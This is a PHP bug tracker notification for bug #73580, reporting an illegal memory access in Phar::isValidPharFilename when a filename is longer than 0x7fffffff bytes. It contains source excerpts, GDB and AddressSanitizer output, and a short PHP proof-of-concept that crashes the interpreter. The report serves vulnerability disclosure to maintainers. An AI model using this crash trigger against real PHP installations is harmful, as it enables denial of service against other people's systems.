Sec Bug->Bug #73580 [Opn]: Phar::isValidPharFilename illegal memory access

Edit report at https://bugs.php.net/bug.php?id=73580&edit=1 ID: 73580 Updated by: stas@php.net Reported by: fernando at null-life dot com Summary: Phar::isValidPharFilename illegal memory access Status: Open -Type: Security +Type: Bug Package: PHAR related Operating System: Linux PHP Version: 7.0.13 Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2016-11-22 15:11:43] fernando at null-life dot com Description: ------------ A big phar file name causes multiples illegal memory access, in memchr funcion, when filename length is bigger than 0x7fffffff inside the isValidPharFilename method. Source code: https://github.com/php/php-src/blob/master/ext/phar/phar.c#L1887 int phar_detect_phar_fname_ext(const char *filename, int filename_len, const char **ext_str, int *ext_len, int executable, int for_create, int is_complete) /* {{{ */ { const char *pos, *slash; *ext_str = NULL; *ext_len = 0; if (!filename_len || filename_len == 1) { return FAILURE; } phar_request_initialize(); /* first check for alias in first segment */ pos = memchr(filename, '/', filename_len); // Illegal access ... pos = memchr(filename + 1, '.', filename_len); // Illegal access next_extension: if (!pos) { return FAILURE; } while (pos != filename && (*(pos - 1) == '/' || *(pos - 1) == '\0')) { pos = memchr(pos + 1, '.', filename_len - (pos - filename) + 1); // Illegal access if (!pos) { return FAILURE; } } slash = memchr(pos, '/', filename_len - (pos - filename)); GDB output: USE_ZEND_ALLOC=1 gdb -q --args /home/operac/build5/bin/php -n poc.php Reading symbols from /home/operac/build5/bin/php...done. (gdb) b phar_detect_phar_fname_ext Breakpoint 1 at 0x937018: file /home/operac/build5/php-src/ext/phar/phar.c, line 1898. (gdb) r Starting program: /home/operac/build5/bin/php -n poc.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, phar_detect_phar_fname_ext (filename=0x7ffeeec00018 '/' <repeats 200 times>..., filename_len=-1, ext_str=0x7fffffffa450, ext_len=0x7fffffffa3d0, executable=1, for_create=2, is_complete=1) // Type confusion en filename_len at /home/operac/build5/php-src/ext/phar/phar.c:1898 1898 { (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. memchr () at ../sysdeps/x86_64/memchr.S:154 154 ../sysdeps/x86_64/memchr.S: No such file or directory. (gdb) Test script: --------------- <?php ini_set('memory_limit', -1); $v1=str_repeat('/', 0xffffffff); Phar::isValidPharFilename($v1); Expected result: ---------------- No crash / false Actual result: -------------- /home/operac/build5/bin/php -n poc.php ASAN:SIGSEGV ================================================================= ==12708==ERROR: AddressSanitizer: SEGV on unknown address 0x7f747a401000 (pc 0x7f7480177e4a bp 0x7fffda7a0f90 sp 0x7fffda7a0718 T0) #0 0x7f7480177e49 in memchr (/lib/x86_64-linux-gnu/libc.so.6+0x8de49) #1 0x7f748266386b (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x3e86b) #2 0x937ca0 in phar_detect_phar_fname_ext /home/operac/build5/php-src/ext/phar/phar.c:2004 #3 0x94a78d in zim_Phar_isValidPharFilename /home/operac/build5/php-src/ext/phar/phar_object.c:1070 #4 0xf29b1b in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build5/php-src/Zend/zend_vm_execute.h:842 #5 0xf26872 in execute_ex /home/operac/build5/php-src/Zend/zend_vm_execute.h:414 #6 0xf26aed in zend_execute /home/operac/build5/php-src/Zend/zend_vm_execute.h:458 #7 0xe49c66 in zend_execute_scripts /home/operac/build5/php-src/Zend/zend.c:1427 #8 0xd0b9d8 in php_execute_script /home/operac/build5/php-src/main/main.c:2494 #9 0x1058a1c in do_cli /home/operac/build5/php-src/sapi/cli/php_cli.c:974 #10 0x105a82c in main /home/operac/build5/php-src/sapi/cli/php_cli.c:1344 #11 0x7f748010a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x430a88 in _start (/home/operac/build5/bin/php+0x430a88) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ??:0 memchr ==12708==ABORTING ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73580&edit=1